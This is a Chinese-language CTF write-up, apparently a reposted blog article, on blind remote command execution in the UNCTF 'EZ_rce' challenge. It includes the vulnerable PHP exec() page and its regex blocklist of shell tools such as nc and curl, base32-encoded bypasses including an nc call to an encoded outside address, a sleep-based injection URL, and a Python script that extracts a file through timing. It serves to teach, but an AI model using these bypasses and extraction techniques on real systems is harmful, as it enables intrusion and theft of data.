RCE盲注

admin 2022年11月21日17:01:26评论97 views字数 2110阅读7分2秒阅读模式

前言

  • 这次的unctf题目的难度不愧是《腥生赛》,新生没几个,炸鱼的大佬一堆,在工作闲暇之余也是看了看几道题,其他题还好,就是这道题,难度还是挺大的,最后在tz师傅的提醒下,终于是写了出来。

思路

  • rce盲注的思路一般有两种,一是通过dns服务器,把执行的结果外带出去,一种是通过把执行的结果流重定向到文件当中,通过访问文件去查看,还有一种就是我们本次要讲解的,就是字符串阶段+sleep延迟。

UNCTF-EZ_rce

  <?php
# flag in /flag

if(isset($_GET['code'])){

    $code=$_GET['code'];

    if (!preg_match('/@|#|%|:|&|;|\\|"|'|`|.|&|*|>|<|nc|wget|bash|sh|netcat|grep|base64|rev|curl|wget|php|ping|cat|fl|mkdir/i',$code)){

        exec($code,$output,$return_val);

        if(!$return_val)   echo "success";
        else{
            echo "fail"; 
        }
                    
    }
    else{
        die("小黑子,露出只因脚了吧");
    }
}
else{
    highlight_file(__FILE__);
}
?>


题目分析

  • 首先是过滤了很多东西,在这里curl,nc都不能用,而且过滤了.这个符号,还过滤了``,所以dns外带,和通过shell的方式是行不通了。当然第二种方式能不能用呢,原题通过nginx进行了重定向,哪怕你写入了文件也不能去访问,所以就用到了我们说的第三者方法。

额外

  • 这里,如果没有nginx的话,则可以通过文件进行访问,而且可以通过编码去绕过很多限制,base64编码可以绕过,通过base32编码就行。payload如下.
nc $(echo GQZS4MJTHAXDCOBTFY4TKIBYGAYDA===| base32 -d)
  • ()当做系统命令,再当做nc的结果。
  • 比如我们可以把cat flag |tee 123.txt 分文俩部分,把cat flag进行编码,把 123.txt进行编码。
$(echo MNQXIIDGNRQWO===|base32 -d) |tee $(echo

GEZDGLTUPB2AU=== |base32 -d)
RCE盲注

解题

payload

"http://f6ddc688-bdd1-4e22-a36c-61d027ed22e0.node.yuzhian.com.cn/?code=expr%20substr%20$(tail%20%20/f$1lag)%20{0}%201%20==%20{1}%20||%20sleep%201s"
  • 其实就是通过 expr substr去截取lag),通过后面的===进行判断,如果成功则不会执行后面的sleep,如果不成功就会执行sleep,有sql时间瞒注那味了。

脚本

import requests
import time
import _thread
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}-_'
url="http://f6ddc688-bdd1-4e22-a36c-61d027ed22e0.node.yuzhian.com.cn/?code=expr%20substr%20$(tail%20%20/f$1lag)%20{0}%201%20==%20{1}%20||%20sleep%201s"
def get_flag():
    flag=''
    for l in range(1, 46):
        for j in chars:
            start_time = time.time()
            turl = url.format(l, j)
            requests.get(turl, headers)
            if time.time() - start_time > 0.5:
                pass
            else:
                flag += j
                print(flag)
                break

get_flag()
  • 这个可以开个多线程去跑。

原文始发于微信公众号(珠天PearlSky):RCE盲注

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月21日17:01:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   RCE盲注https://cn-sec.com/archives/1421059.html

发表评论

匿名网友 填写信息